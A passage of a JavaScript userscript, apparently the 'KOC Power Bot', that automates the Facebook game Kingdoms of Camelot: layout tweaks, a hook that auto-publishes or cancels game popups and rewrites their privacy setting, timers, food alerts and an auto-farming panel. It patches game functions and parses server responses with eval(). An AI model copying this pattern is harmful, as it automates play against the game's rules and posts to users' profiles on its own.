            e.childNodes[i].style.margin = '0px';
            e.childNodes[i].style.paddingTop = '5px';
            break;
         }
      }
   }
   var e = document.getElementById('pageHead');
   if(e){
      e.style.width = '80%';
      e.style.margin = '0 10%';
   }
   var e = document.getElementById('bottomContent');
   if(e){
      e.style.padding = "0px 0px 12px 0px";
   }
    
  }
  facebookWatchdog();
  if (GlobalOptions.pbWideScreen)
    setWide();
}

function kabamStandAlone (){
  function setWide (){
   var iFrames = $('game_frame');
   if (!iFrames){
     setTimeout (setWide, 1000);
     return;
   }
   iFrames.style.width = '100%';
   while ( (iFrames=iFrames.parentNode) != null && iFrames.tagName !== "BODY")
     //if (iFrames.tagName=='DIV')
      iFrames.style.width = '100%';

   try{    
      document.getElementById('promo-sidebar').parentNode.removeChild(document.getElementById('promo-sidebar'));
    } catch (e){
      logit("Failed to remove sidebar "+e);
    }
  }

  function sendmeaway (){
   var serverID = /s=([0-9]+)/im.exec (document.location.href);
   var sr = /value="(.*?)"/im.exec ($("post_form").innerHTML);
   var goto = $("post_form").action+(serverID?"?s="+serverID[1]:'');
   var t = '<FORM target="_top" action="'+ goto +'" method=post><INPUT id=xxxpbutExplode type=submit value=RELOAD><INPUT type=hidden name=signed_request value="'+ sr[1] +'" /><INPUT type=hidden name=platform_req value=A /></form>';
   var e = document.createElement ('div');
   e.innerHTML = t;
   document.body.appendChild (e);
   setTimeout (function (){document.getElementById('xxxpbutExplode').click();}, 0);
  }
  if (GlobalOptions.pbWideScreen)
   setWide();
  if(GlobalOptions.pbNoMoreKabam)
   sendmeaway();
  }

function HandlePublishPopup() {
   if(GlobalOptions.autoPublishGamePopups || GlobalOptions.autoCancelGamePopups){
   // Check the app id (we only want to handle the popup for kingdoms of camelot)
      var FBInputForm = document.getElementById('uiserver_form');
      //logit("FBInputForm "+FBInputForm);
      if(FBInputForm){
         var channel_input = nHtml.FindByXPath(FBInputForm,".//input[contains(@name,'channel')]");
         //logit("channel_input "+channel_input);
         if(channel_input){
            var current_channel_url = channel_input.value;
            //logit("current_channel_url "+current_channel_url);
            if (current_channel_url.match(/(http|https):\/\/(.*?)\.kingdomsofcamelot\.com(.*?)/i)) {
               var publish_button = nHtml.FindByXPath(FBInputForm,".//input[@type='submit' and contains(@name,'publish')]");
               var cancel_publish_button = nHtml.FindByXPath(FBInputForm,".//input[@type='submit' and contains(@name,'cancel')]");
               var privacy_setting = nHtml.FindByXPath(FBInputForm,".//select[@name='audience[0][value]']");
               //logit("publish_button "+publish_button);
               //logit("privacy_setting "+privacy_setting);
               //logit("cancel_button " + cancel_publish_button);
               if(publish_button && privacy_setting){
                  // 80: Everyone
                  // 50: Friends of Friends
                  // 40: Friends Only
                  // 10: Only Me
                  privacy_setting.innerHTML = '<option value="'+ GlobalOptions.autoPublishPrivacySetting +'"></option>';
                  privacy_setting.selectedIndex = 0;
                  if (GlobalOptions.autoPublishGamePopups && !GlobalOptions.autoCancelGamePopups){
                     nHtml.Click(publish_button);
                  }else if (GlobalOptions.autoCancelGamePopups && !GlobalOptions.autoPublishGamePopups){
                     nHtml.Click(cancel_publish_button);
                  }
               }
            }
         }     
      }
      setTimeout(HandlePublishPopup, 1000);
   }
}

var Cities = {};
var Seed = unsafeWindow.seed;
var Tabs = {};
var pbButtons = {};
var mainPop;
var pbStartupTimer = null;
var pbPopUpTopClass = 'pbPopTop';
var firefoxVersion = getFirefoxVersion();
var TrainCity = 0;
var CM = unsafeWindow.cm;

function pbStartup (){
  clearTimeout (pbStartupTimer);
  if (unsafeWindow.pbLoaded)
    return;
    clearTimeout (InstallChecker);
  var metc = getClientCoords(document.getElementById('main_engagement_tabs'));
  if (metc.width==null || metc.width==0){
    pbStartupTimer = setTimeout (pbStartup, 1000);
    return;
  }
  unsafeWindow.pbLoaded = true;
  //logit ("KofC client version: "+ anticd.getKOCversion());
  
  Seed = unsafeWindow.seed;
  readOptions();
  var styles = '.xtab {padding-right: 5px; border:none; background:none; white-space:nowrap;}\
    .xtabBR {padding-right: 5px; border:none; background:none;}\
    table.pbTab tr td {border:none; background:none; white-space:nowrap; padding:0px z-index:999999;}\
    table.Throne {background-color:#FFFFE3; white-space:nowrap; padding:0px; border-style:solid; border-color:darkgrey; width:250px; max-width:250px; text-wrap:normal;word-wrap:break-word}\
    table.Throne tr td {background:none; white-space:nowrap; padding:0px; border-style:none;}\
    table.ThroneEQ {background-color:#FFFFE3; white-space:nowrap; padding:0px; border-style:solid; border-color:lightred; width:250px; max-width:250px; text-wrap:normal;word-wrap:break-word}\
    table.ThroneEQ tr td {background:none; white-space:nowrap; padding:0px; border-style:none}\
    .hostile td { background:red; }.friendly td{background:lightgreen; }.ally td{background:lightblue; }\
    table.pbTabPadNW tr td {border:none; background:none; white-space:nowrap; padding: 2px 4px 2px 8px;}\
    table.pbTabBR tr td {border:none; background:none;}\
    table.pbTabLined tr td {border:1px none none solid none; padding: 2px 5px; white-space:nowrap;}\
    table.pbTabLined3 tr td {border:3px none none solid lightgreen; background:lightblue; padding: 2px 5px; white-space:nowrap;}\
    table.pbOptions tr td {border:1px none none solid none; padding: 1px 3px; white-space:nowrap;}\
    table.pbSrchResults tr td {border:1px none none solid none; padding: 1px 3px; white-space:nowrap;}\
    table.pbTabSome tr td {border:none; background:none; padding: 1px 3px; white-space:nowrap;}\
    table.pbTabPad tr td { padding-left: 8px;}\
    table.ptNoPad tr td {border:none; background:none; white-space:nowrap; padding:0px}\
    .pbDetLeft {padding:0 5px 0 0 !important; font-weight:bold; text-align:right}\
    .pbStat {border:1px solid; border-color:#000000; font-weight:bold; padding-top:2px; padding-bottom:2px; text-align:center; color:#ffffff ; background-color:#357;  -moz-border-radius:5px;}\
    .pbentry {padding: 7px; white-space:nowrap;}\
    button::-moz-focus-inner, input[type="submit"]::-moz-focus-inner { border: none; }\
    span.whiteOnRed {padding-left:3px; padding-right:3px; background-color:#700; color:white; font-weight:bold}\
    span.boldRed {color:#800; font-weight:bold}\
    .castleBut {outline:0px; margin-left:0px; margin-right:0px; width:24px; height:26px; font-size:12px; font-weight:bold;}\
    .castleBut:hover {background-image:url("'+ URL_CASTLE_BUT_SEL +'")}\
    .castleButNon {background-image:url("'+ URL_CASTLE_BUT +'")}\
    .castleButSel {background-image:url("'+ URL_CASTLE_BUT_SEL +'")}\
    input.pbDefButOn {cursor:pointer; border:1px solid red; -moz-box-shadow:inset 0px 1px 5px #3aef8b; -moz-border-radius:5px;}\
    input.pbDefButOff {cursor:pointer; border:1px solid blue; -moz-box-shadow:inset 0px 1px 5px #f6375f; -moz-border-radius:5px;}\
    a.ptButton20 {color:#ffff80}\
    table.pbMainTab { empty-cells: show; margin-left: 5px; margin-top: 4px; padding: 1px;  padding-left:5px;}\
    table.pbMainTab tr td a {color:inherit }\
    table.pbMainTab tr td   {height:60%; empty-cells:show; padding: 0px 4px 0px 4px;  margin-top:5px; white-space:nowrap; border: 1px solid; border-style: none none solid none; -moz-border-radius:5px; }\
    table.pbMainTab tr td.spacer {padding: 0px 0px;}\
    table.pbMainTab tr td.notSel { color: #ffffff; font-size: 12px; font-weight:bold; -moz-border-radius: 10px; -moz-box-shadow: 0px 1px 3px #357544; text-shadow: -1px 1px 3px #666666; border: solid #615461 1px; background: -moz-linear-gradient(top, #6ff28e, #196b2c);}\
    table.pbMainTab tr td.sel { color: #000000; font-size: 12px; font-weight:bold; -moz-border-radius: 10px; -moz-box-shadow: 0px 1px 3px #357544; text-shadow: -1px 1px 3px #CECECE; border: solid #615461 1px; background: -moz-linear-gradient(top, #6ff28e, #196b2c);}\
    table.pbMainTab tr td:hover { color: #191919; font-size: 12px; font-weight:bold; text-shadow: -1px 1px 3px #CECECE; background: -moz-linear-gradient(top, #43cc7e, #20a129)}\
    tr.pbPopTop td { background-color:transparent; border:none; height: 21px; padding:0px;}\
    tr.pbretry_pbPopTop td { background-color:#a00; color:#fff; border:none; height: 21px;  padding:0px; }\
    tr.pbMainPopTop td { background-color:#ded; border:none; height: 42px; width:80%; padding:0px; }\
    tr.pbretry_pbMainPopTop td { background-color:#a00; color:#fff; border:none; height: 42px;  padding:0px; }\
    .pbPopMain  { border:1px solid #000000; -moz-box-shadow:inset 0px 0px 10px #6a6a6a; -moz-border-radius-bottomright: 20px; -moz-border-radius-bottomleft: 20px;}\
    .pbPopup  {border:5px ridge #666; opacity:'+(parseFloat(Options.Opacity)<'0.5'?'0.5':Options.Opacity)+'; -moz-border-radius:25px; -moz-box-shadow: 1px 1px 5px #000000; z-index:999999;}\
    span.pbTextFriendly {color: #080}\
    span.pbTextHostile {color: #800}\
    .pbButCancel {background-color:#a00; font-weight:bold; color:#fff}\
    div.indent25 {padding-left:25px}\
	.pbttabsdis {background:url("https://kabam1-a.akamaihd.net/kingdomsofcamelot/fb/e2/src/img/throne/modal/set_active.png") no-repeat center center;outline:0px; margin-left:0px; margin-right:0px; width:22px; height:22px; font-family: georgia,arial,sans-serif;font-size: 12px;color:white; line-height:19px;}\
	.pbttabs {background:url("https://kabam1-a.akamaihd.net/kingdomsofcamelot/fb/e2/src/img/throne/modal/set_selected.png") no-repeat center center;outline:0px; margin-left:0px; margin-right:0px; width:22px; height:22px; font-family: georgia,arial,sans-serif;font-size: 12px;color:white; line-height:19px;}\
	.craftdesc:hover span.crafttip { display:block; position:absolute; background: #FFFFAA; border: 1px solid #FFAD33; padding: 0.5em 0.5em;}\
	.craftdesc span.crafttip { display:none;}\
    .pbdivHeader       {transparent;height: 16px;border-bottom:0px solid #000000;font-weight:bold;font-size:11px;opacity:0.75;margin-left:0px;margin-right:0px;margin-top:1px;margin-bottom:0px;padding-top:4px;padding-right:10px;vertical-align:text-top;align:left;background-color:#335577;}\
    .pbdivLink         {color:#000;text-decoration:none;}\
    .pbdivLink:Hover   {color:#000;text-decoration:none;}\
    .pbdivLink:Active  {color:#000;text-decoration:none;}\
    .pbdivHide         {display:none}';    

  window.name = 'PT';
  logit ("* KOC Power Bot v"+ Version +" Loaded");
  readLanguage();
  readChatOptions();
  readCrestData();
  readTrainingOptions();
  readCombatOptions();
  readAttackOptions();
  readFarmOptions();
  readThroneOptions();
  readChampionOptions();
  readLayoutOptions();
  readApothecaryOptions();
  Tabs.gifts.readGiftsdb();
  setCities();
	if(unsafeWindow.g_ajaxparams.lang == "en")unsafeWindow.g_js_strings.getChat.nobadlang = "No bad language. No personal attacks. No links. Use /username to whisper to another player. Respect the mods, the scripters, and each other and most importantly, have fun!";
	if(unsafeWindow.g_js_strings)unsafeWindow.g_js_strings.commonstr.yourScriptVersionIsOut = unsafeWindow.g_js_strings.checkoutofdate.reloadconfirm;

	if(Options.loginReward && Seed.loginReward.show_hud && document.getElementById('dailyRewardHudInside')) unsafeWindow.cm.DailyRewardsView.hudClick();

// TODO: Make sure WinPos is visible on-screen ?
  if (Options.pbWinPos==null || Options.pbWinPos.x==null|| Options.pbWinPos.x=='' || isNaN(Options.pbWinPos.x)){
    var c = getClientCoords (document.getElementById('main_engagement_tabs'));
    Options.pbWinPos.x = c.x+4;
    Options.pbWinPos.y = c.y+c.height;
    saveOptions ();
  }

  // Reset window xPos if the widescreen option is disabled
  if(!GlobalOptions.pbWideScreen && Options.pbWinPos.x > 700){
    var c = getClientCoords (document.getElementById('main_engagement_tabs'));
    Options.pbWinPos.x = c.x+4;
    saveOptions ();

    
  }

  mainPop = new pbPopup ('pb', Options.pbWinPos.x, Options.pbWinPos.y, 850,800, Options.pbWinDrag,
      function (){
        tabManager.hideTab();
        Options.pbWinIsOpen=false;
        saveOptions();
      });
  mainPop.autoHeight (true);  

  mainPop.getMainDiv().innerHTML = '<STYLE>'+ styles +'</style>';
  AddMainTabLink('BOT', eventHideShow, mouseMainTab);
  tabManager.init (mainPop.getMainDiv());
  actionLog ("KOC Power Bot v"+ Version +" Loaded  (KofC version: "+ anticd.getKOCversion() +")");
  
  FairieKiller.init (Options.pbKillFairie);
  RefreshEvery.init ();
  CollectGold.init();
  FoodAlerts.init();
  ChatPane.init();
  ChatStuff.init();
  DeleteReports.init();
  TreasureChestClik.init();
  //DeleteThrone.init();
  if (Options.pbWinIsOpen && Options.pbTrackOpen){
    mainPop.show (true);
    tabManager.showTab();
  }
  window.addEventListener('unload', onUnload, false);
  exportToKOCattack.init();
  WideScreen.init ();
  WideScreen.setChatOnRight (Options.pbChatOnRight);
  WideScreen.useWideMap (Options.pbWideMap);
  setInterval (DrawLevelIcons,1250);
  killbox();
  if(Options.amain) setTimeout(function (){unsafeWindow.citysel_click(document.getElementById('citysel_'+Number(Number(Options.smain)+1)))},1000);
   document.getElementById('main_engagement_tabs').innerHTML+= '<a class="navTab" onclick=" window.open(\'https://community.kabam.com/forums/forumdisplay.php?4-Kingdoms-of-Camelot\');"><span>Forum</span></a>\
																<a class="navTab" onclick=" window.open(\'https://kabam.secure.force.com/PKB/KbContactUsForm?language=en_US&game=Kingdoms_of_Camelot&issue=Other_Game_Issues\');"><span>Kabam</span></a>\
																<a class="navTab" onclick=" window.open(\'https://www.trialpay.com/support/contactus/\');"><span>Trialpay</span></a>';

  if(Options.ThroneHUD)Tabs.Throne.ThroneHUDinit();
  setInterval(GlobalEachSecond,1000);//lets move everything under this one.
  ChatComOverlay();
  GuardianTT();
	if(GlobalOptions.version != Version)AutoUpdater();//just completed upgrade, get variables set.

  afkwatcher();
  loadchecker();
  QuickScout();	
  
  if (Options.alertConfig.emailapp == 1) {
	unsafeWindow.koc2Mail = koc2Mail;
	koc2Mail.init();  
  }
  
}


/*************** Timer ******************/
var GESeachmin = 0;
var atwomin = 0;
function GlobalEachSecond () {
	var unixtime = unsafeWindow.unixtime();
  if(GESeachmin < unixtime) {
  	GESeachmin = Number(unixtime+60);
  	new GESeverymin(unixtime);
  };
};

function GESeverymin (unixtime) {//put functions here to execute every min
	if(atwomin == 0) atwomin = Number(unixtime+2*60);
	if(atwomin < unixtime) {
		atwomin = Number(unixtime+2*60);
		new GESeverytwomin(unixtime);
		  if(Options.mklag)  new fixkabamlag();
		  if(AttackOptions.Running) new Tabs.Barb.sendreport();
	};
	if(Options.GESeverytenmin < unixtime) {
	  	Options.GESeverytenmin = Number(unixtime+10*60);
		saveOptions();
		new GESeverytenmin(unixtime);	
	};  
		//start window open in other browser warning auto click//cmModalContainer guardian_generic undefined cmModal1
		if(Options.WWclick) {
		//for (z =1;z<5;z++) {
			var x = document.getElementsByClassName('cmModalContainer guardian_generic undefined cmModal1');
			if(!x)
			var x = document.getElementsByClassName('cmModalContainer guardian_generic undefined cmModal2');
			if(!x)
			var x = document.getElementsByClassName('cmModalContainer guardian_generic undefined cmModal3');
			if(x)
				if(x.length > 0) {
					for(y = 0; y < x.length;y++) {
						if(String(x[y].innerHTML).indexOf("You have Kingdoms of Camelot open in a newer window. If you have multiple connections to the same world open, please use your most recent window for the best experience and close this one.") > -1){
							unsafeWindow.cm.ModalManager.close();
						}
					};
				}
			//}
		};
	//end window open in other browser warning auto click
		new Tabs.Throne.throneHUDredraw();
		new unsafeWindow.update_seed_ajax();
};

function GESeverytwomin (unixtime) {//put functions here to execute every 2 min
	if(Options.detAFK)new detafk();
	new Tabs.Throne.rotatethrone();
	new DeleteReports.startdeletereports();
};

function GESeverytenmin (unixtime) {//put functions here to execute every 10 min
  if(Options.GESeveryhour < unixtime){
  	Options.GESeveryhour = Number(unixtime+60*60);
	saveOptions();
	new GESeveryhour(unixtime);
  };
  if(GiftDB.adgift) new Tabs.gifts.scangifts(4);
  
	var lasttenmin = unixTime() -600;
	for(var i = Options.alertConfig.lastarrtime.length - 1; i >= 0; i--) {
    if(Number(Options.alertConfig.lastarrtime[i]) < lasttenmin) {
       Options.alertConfig.lastarrtime.splice(i, 1);
    }
	;}
	saveOptions();
};

function GESeveryhour (unixtime) {//put functions here to execute every hour
  if(Options.GESeveryday < unixtime){
  	Options.GESeveryday = Number(unixtime+24*60*60);
	saveOptions();
	new GESeveryday(unixtime);
  };
	if(Options.spamconfig.aspam )Tabs.Spam.Count();
	MAP_DELAY = Options.MAP_DELAY;
};

function GESeveryday (unixtime) {//put functions here to execute every day
  if(GlobalOptions.pbupdate)AutoUpdater();//check for script updates
};

/************** End Timer **************/

/************** Afk detector **************/

var afk = 0;
var afkb=-1;
function afkwatcher () {
	document.body.onmousemove = function(){afk++};
	document.body.onkeypress = function(){afk++};
};

function detafk () {
	if (afk == afkb) {
		actionLog('afk detected');
		isAFK = true;
	} 
	else {
		if(isAFK)Tabs.Whisper.postWhisper();
			isAFK = false;
			afkb = afk;
	}
};

/************** End Afk detector **************/

var TreasureChestClik = {
  clikTreasureChest : null,

  init : function (){
    t = TreasureChestClik;

      t.clikTreasureChest = new CalterUwFunc ('pop_treasure_chest_modal', [[/if/im, 'treasure_chest_post_hook(a); return; if']]);
      unsafeWindow.treasure_chest_post_hook = t.hook;
      t.clikTreasureChest.setEnable(Options.TreasureChest);
  },

  setEnable : function (tf){
	var t = TreasureChestClik;
	t.clikTreasureChest.setEnable (tf);
  },


  isAvailable : function (){
	var t = TreasureChestClik;
	return t.clikTreasureChest.isAvailable();
  },

  hook : function (tid) {
	actionLog('Treasure Chest found');
	var mid = tid;
	var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);	
	params.tid = tid;
	new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/postFriendVictoryTokenShare.php" + unsafeWindow.g_ajaxsuffix, {
		method: "post",
		parameters: params,
		onSuccess: function (transport) {
			var rslt = eval("(" + transport.responseText + ")");
			if (rslt.ok) {
				var reparr = new Array();
				for (k in Seed.queue_atkp) {
					if (Seed.queue_atkp[k]['m'+mid]) city = k;
				}
				var tileName = (Seed.queue_atkp[city]["m" + mid].toTileType == 51) ? "Barbarian Camp" : unsafeWindow.g_mapObject.types[parseInt(Seed.queue_atkp[city]["m" + mid].toTileType)];
				reparr.push(["REPLACE_TiLeNaMe", tileName]);
				reparr.push(["REPLACE_fEeDiD", rslt.feedId]);
				reparr.push(["REPLACE_tOkEnId", rslt.tokenId]);
				unsafeWindow.common_postToProfile("118", reparr);
			} else {
				actionLog('treasure chest error: ' +rslt.error_code+ ',' +rslt.msg+ ',' +rslt.feedback)
			}
		},
		onFailure: function () {
		},
	});
  },

}

/************************ Food Alerts *************************/
var FoodAlerts = {

  init : function (){
   var f = FoodAlerts;
   f.e_eachMinute();
  },

  minuteTimer : null,

  e_eachMinute : function (){  
    var f = FoodAlerts;
    var now = unixTime();
      row = [];
      trupkeepreduce = Math.min(equippedthronestats(79), 33);

      for(i=0; i < Cities.numCities; i++) {
        var rp = getResourceProduction (Cities.cities[i].id);
	var upkbase =  unsafeWindow.cm.Resources.getUpkeep (1,Cities.cities[i].id)/(1-trupkeepreduce/100);
        var foodleft = parseInt(Seed.resources["city" + Cities.cities[i].id]['rec1'][0])/3600;
//        var usage = rp[1] - parseInt(Seed.resources["city" + Cities.cities[i].id]['rec1'][3]);
        var usage = rp[1] - (parseInt(Seed.resources["city" + Cities.cities[i].id]['rec1'][3] - upkbase*trupkeepreduce/100));
        row[i] = rp[1] - usage;
          var timeLeft = parseInt(Seed.resources["city" + Cities.cities[i].id]['rec1'][0]) / 3600 / (0-usage) * 3600;
          var msg = '';
        if (usage < 0) {
//    if (Options.pbFoodAlert && timeLeft<(6*3600)) {
    if (Options.pbFoodAlertInt < 1) Options.pbFoodAlertInt = 1;
    if (Options.pbFoodAlert && timeLeft<(Options.pbFoodAlertInt*3600)) {
                msg += 'My city ' + Cities.cities[i].name.substring(0,10) + ' (' +
                      Cities.cities[i].x +','+ Cities.cities[i].y + ')';
                msg += ' is low on food. Remaining: '+addCommasWhole(foodleft)+' ('+timestrShort(timeLeft)+') Upkeep: '+addCommas(usage);
                sendChat ("/a " + msg);
          }
    }
      }
//  f.minuteTimer = setTimeout (f.e_eachMinute, 1800000);
  f.minuteTimer = setTimeout (f.e_eachMinute, 15*60*1000);
  },
}

/*********************************  Farm Tab ****************autofarm*******************/

Tabs.farm = {
  tabLabel: 'Farm',
  tabOrder : 612,
  myDiv : null,
  MapAjax : new CMapAjax(),
  popFirst : true,
  opt : {},
  nextattack : null,
  updateSeedTimer: null,
  searchRunning : false,
  tilesSearched : 0,
  tilesFound : 0,
  curX : 0,
  curY : 0,
  lastX : 0,
  firstX : 0,
  firstY : 0,
  lastY : 0,
  rallypointlevel:0,
  knt:{},
  helpArray:{},
  FarmArray:{},
  marchArray:[],
  lookup:1,
  city:0,
  deleting:false,
  DipArray: ["friendly","hostile","friendlyToThem","friendlyToYou","neutral","unallied"],
  interval: ["Continuously","1 Hour","2 Hours","3 Hours","6 Hours","12 Hours","24 Hours","29 Hours","36 Hours","2 Days","4 Days"],
    
  init : function (div){
    var t = Tabs.farm;
    t.myDiv = div;
  if(Options.Farmbtns)AddSubTabLink(unsafeWindow.g_js_strings.grove.farms,t.toggleBarbState, 'FarmToggleTab');
    var m = '<DIV id=pbTowrtDivF class=pbStat>AUTOMATED FARMING FUNCTION</div><TABLE id=pbbarbingfunctions width=100% height=0% class=pbTab><TR align="center">';
     if (FarmOptions.Running == false) {
           m += '<TD><INPUT id=FarmAttSearch type=submit value="Farming = OFF"></td>';
           if(document.getElementById('FarmToggleTab'))document.getElementById('FarmToggleTab').innerHTML = '<span style="color: #CCC">'+unsafeWindow.g_js_strings.grove.farms+': Off</span>';
       } else {
           m += '<TD><INPUT id=FarmAttSearch type=submit value="Farming = ON"></td>';
           if(document.getElementById('FarmToggleTab'))document.getElementById('FarmToggleTab').innerHTML = '<span style="color: #FFFF00">'+unsafeWindow.g_js_strings.grove.farms+': On</span>';
       }
      m +='<TD><INPUT id=pbpaintFarms type=submit value="Show Farms">';
      m += '<SELECT id=pbFarmcity type=list></td></tr></table>';
      m += '</tr></table></div>';
      
      m += '<DIV id=pbTraderDivD class=pbStat>FARMING STATS</div>';
    
      m += '<TABLE id=pbfarmstats width=95% height=0% class=pbTab><TR align="left"><TR>';
      for(i=0;i<Seed.cities.length;i++){
              m += '<TD>' + Seed.cities[i][1] +'</td>';
      }
      m+='</tr><TR>';
      for(i=0;i<Seed.cities.length;i++){
              m += '<TD><DIV><span id='+ 'pdtotalFarm' + i +'></span></div></td>';
      }
      m+='</tr><TR>';
      for(i=0;i<Seed.cities.length;i++){
              m += '<TD><DIV><span id='+ 'pddataFarm' + i +'></span></div></td>';
      }
      m+='</tr><TR>'
       for(i=0;i<Seed.cities.length;i++){
              m += '<TD><DIV><span id='+ 'pddataFarmarray' + i +'></span></div></td>';
     }
     m+='</tr></table>';
     
    m+='<DIV id=FarmCheck></div>';

    m += '<DIV id=pbTraderDivD class=pbStat>FARMING OPTIONS</div>';
    m += '<TABLE id=pbfarmstats width=90% height=0% class=pbTab>';
    m += '<TR><TD width=90>Keep rallypoint slot(s) free: </td><TD><INPUT id=FarmRallyClip type=text size=2 maxlength=2 value=' + FarmOptions.RallyClip +' >';
    m += '  Attacks interval:<INPUT id=FarmAttacksInterval type=text size=2 maxlength=2 value=' + FarmOptions.SendInterval +' sec.></td>';
	
    m += '<TD>Farm Interval:<SELECT id=FarmInterval type=list>';
    m += '  <INPUT id=FarmReports type=checkbox '+(FarmOptions.DeleteReports?'CHECKED':'')+'> - Delete reports</td></tr>';

    m += '<TR><TD>Search distance:</td><TD><INPUT type=text id=FarmRadius size=3 maxlength=3 value='+ FarmOptions.MaxDistance +'>'; 
	m += '<INPUT id=FarmSearch type=submit value="Search ALL again" style="background-color:#DEDEDE;color:#fff">';
	m +='</td>';
	m +='<TD><INPUT id=pbcompactFarms1 type=submit value="Remove NOT Farms"></td>'
	m +='</tr>';
    m += '<TR><TD>Might:</td>';
    m += '<TD width=50>Min.:<INPUT type=text id=FarmMinMight size=10 maxlength=11 value='+ FarmOptions.MinMight +'></td>';
    m += '<TD>Max.:<INPUT type=text id=FarmMaxMight size=10 maxlength=11 value='+ FarmOptions.MaxMight +'></td></tr>';
    m += '<TR><TD>Farm if inactive for more then: </td>';
    m += '<TD><INPUT type=text id=FarmInactive size=2 value='+ FarmOptions.Inactive +'>days(checked every 23 hours).</td>';
	m += '<TD> Farm is BAD if brought less then: ';
	m += '<INPUT type=text id=FarmBadRess size=2 value='+ FarmOptions.MinFarmRes +'> millions of resources</td>'
	m += '</tr></table></tr>';
	m +='<TABLE id=pbfarmstats width=90% height=0% class=pbTabLined3>'
	m +='<TR><TD>Works only for DISABLED cities:</td>';
	m +='<TD><INPUT id=pbFarmSearch2 type=submit value="Search again"></td>';
    m +='<TD><INPUT id=pbcompactFarms2 type=submit value="Remove BAD Farms"></td>';
    m +='<TD><INPUT id=pbcompactFarms3 type=submit value="Reset collected resources info"></td>'
	m +='</tr></table>';
    m += '<TABLE id=pbfarmstats width=90% height=0% class=pbTab><TR align="left"><TR><TD width=100>City:</td>';
    for (i=1;i<=Seed.cities.length;i++) {
         m+='<TD class=pbCityEn><INPUT id=CityEnable'+ i +'  type=checkbox '+(FarmOptions.CityEnable[i]?'CHECKED':'')+'>'+ Seed.cities[i-1][1] +'</td>';
     }
    m += '</tr></table><TABLE id=pbfarmstats width=90% height=0% class=pbTab><TR align="left"><TD width=100>City Level:</td>';
    for (i=1;i<=12;i++) {
         m+='<TD class=pbCityOpt><INPUT id=CityLevel'+ i +'  type=checkbox '+(FarmOptions.CityLevel[i]?'CHECKED':'')+'>'+ i +'</td>';
     }
    m += '</tr></table><TABLE id=pbfarmstats width=90% height=0% class=pbTab><TR align="left"><TR><TD width=100>Diplomacy:</td>';
    for (i=0;i<t.DipArray.length;i++) {
         m+='<TD class=pbDipOpt><INPUT id=Diplomacy'+ t.DipArray[i] +'  type=checkbox '+(FarmOptions.Diplomacy[t.DipArray[i]]?'CHECKED':'')+'>'+ t.DipArray[i] +'</td>';
     }
    m+='</tr></table>';
    
    var icon_link = 'kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/units/';
	var dude = unsafeWindow.unitnamedesctranslated;
     m += '<DIV id=pbTraderDivD class=pbStat>FARMING TROOPS</div>';
     m += '<TABLE id=pbaddreasignroute width=100% height=0% class=pbTab><TR align="center">';
        m += '<TR><TD rowspan="2"><img src='+http+icon_link+'unit_1_50.jpg alt='+dude.unt1[0]+'></td>';
        m += '<TD>Supply Troop</td>'
        m += '<TD rowspan="2"><img src='+http+icon_link+'unit_2_50.jpg alt='+dude.unt2[0]+'></td>'
        m += '<TD>Militiaman</td>'
        m += '<TD rowspan="2"><img src='+http+icon_link+'unit_3_50.jpg alt='+dude.unt3[0]+'></td>'
        m += '<TD>Scout</td>'
        m += '<TD rowspan="2"><img src='+http+icon_link+'unit_4_50.jpg alt='+dude.unt4[0]+'></td>'
        m += '<TD>Pikeman</td></tr>'
        m += '<TR><TD  class=pbTroopOpt><INPUT id=FarmTroop1  type=text size=10 maxlength=10 value='+ FarmOptions.Troops[1] +'\></td>';
        m += '<TD  class=pbTroopOpt><INPUT id=FarmTroop2  type=text size=10 maxlength=10 value='+ FarmOptions.Troops[2] +'\></td>';
        m += '<TD  class=pbTroopOpt><INPUT id=FarmTroop3  type=text size=10 maxlength=10 value='+ FarmOptions.Troops[3] +'\></td>';
        m += '<TD  class=pbTroopOpt><INPUT id=FarmTroop4  type=text size=10 maxlength=10 value='+ FarmOptions.Troops[4] +'\></td></tr>';
        m += '<TR><TD rowspan="2"><img src='+http+icon_link+'unit_5_50.jpg alt='+dude.unt5[0]+'></td>';
        m += '<TD>Swordsman</td>'
        m += '<TD rowspan="2"><img src='+http+icon_link+'unit_6_50.jpg alt='+dude.unt6[0]+'></td>'
        m += '<TD>Archer</td>'
        m += '<TD rowspan="2"><img src='+http+icon_link+'unit_7_50.jpg alt='+dude.unt7[0]+'></td>'
        m += '<TD>Cavalry</td>'
        m += '<TD rowspan="2"><img src='+http+icon_link+'unit_8_50.jpg alt='+dude.unt8[0]+'></td>'
        m += '<TD>Heavy Cavalry</td></tr>'
        m += '<TR><TD  class=pbTroopOpt><INPUT id=FarmTroop5  type=text size=10 maxlength=10 value='+ FarmOptions.Troops[5] +'\></td>';
        m += '<TD  class=pbTroopOpt><INPUT id=FarmTroop6  type=text size=10 maxlength=10 value='+ FarmOptions.Troops[6] +'\></td>';
        m += '<TD  class=pbTroopOpt><INPUT id=FarmTroop7  type=text size=10 maxlength=10 value='+ FarmOptions.Troops[7] +'\></td>';
        m += '<TD  class=pbTroopOpt><INPUT id=FarmTroop8  type=text size=10 maxlength=10 value='+ FarmOptions.Troops[8] +'\></td></tr>';
        m += '<TR><TD rowspan="2"><img src='+http+icon_link+'unit_9_50.jpg alt='+dude.unt9[0]+'></td>';
        m += '<TD>Supply Wagon</td>'
        m += '<TD rowspan="2"><img src='+http+icon_link+'unit_10_50.jpg alt='+dude.unt10[0]+'></td>'
        m += '<TD>Ballista</td>'
        m += '<TD rowspan="2"><img src='+http+icon_link+'unit_11_50.jpg alt='+dude.unt11[0]+'></td>'
        m += '<TD>Battering Ram</td>'
        m += '<TD rowspan="2"><img src='+http+icon_link+'unit_12_50.jpg alt='+dude.unt12[0]+'></td>'
        m += '<TD>Catapult</td></tr>'
        m += '<TR><TD  class=pbTroopOpt><INPUT id=FarmTroop9  type=text size=10 maxlength=10 value='+ FarmOptions.Troops[9] +'\></td>';
        m += '<TD  class=pbTroopOpt><INPUT id=FarmTroop10  type=text size=10 maxlength=10 value='+ FarmOptions.Troops[10] +'\></td>';
        m += '<TD  class=pbTroopOpt><INPUT id=FarmTroop11  type=text size=10 maxlength=10 value='+ FarmOptions.Troops[11] +'\></td>';
        m += '<TD  class=pbTroopOpt><INPUT id=FarmTroop12 type=text size=10 maxlength=10 value='+ FarmOptions.Troops[12] +'\></td></tr></table>';
    
     t.myDiv.innerHTML = m;
      t.checkFarmData();
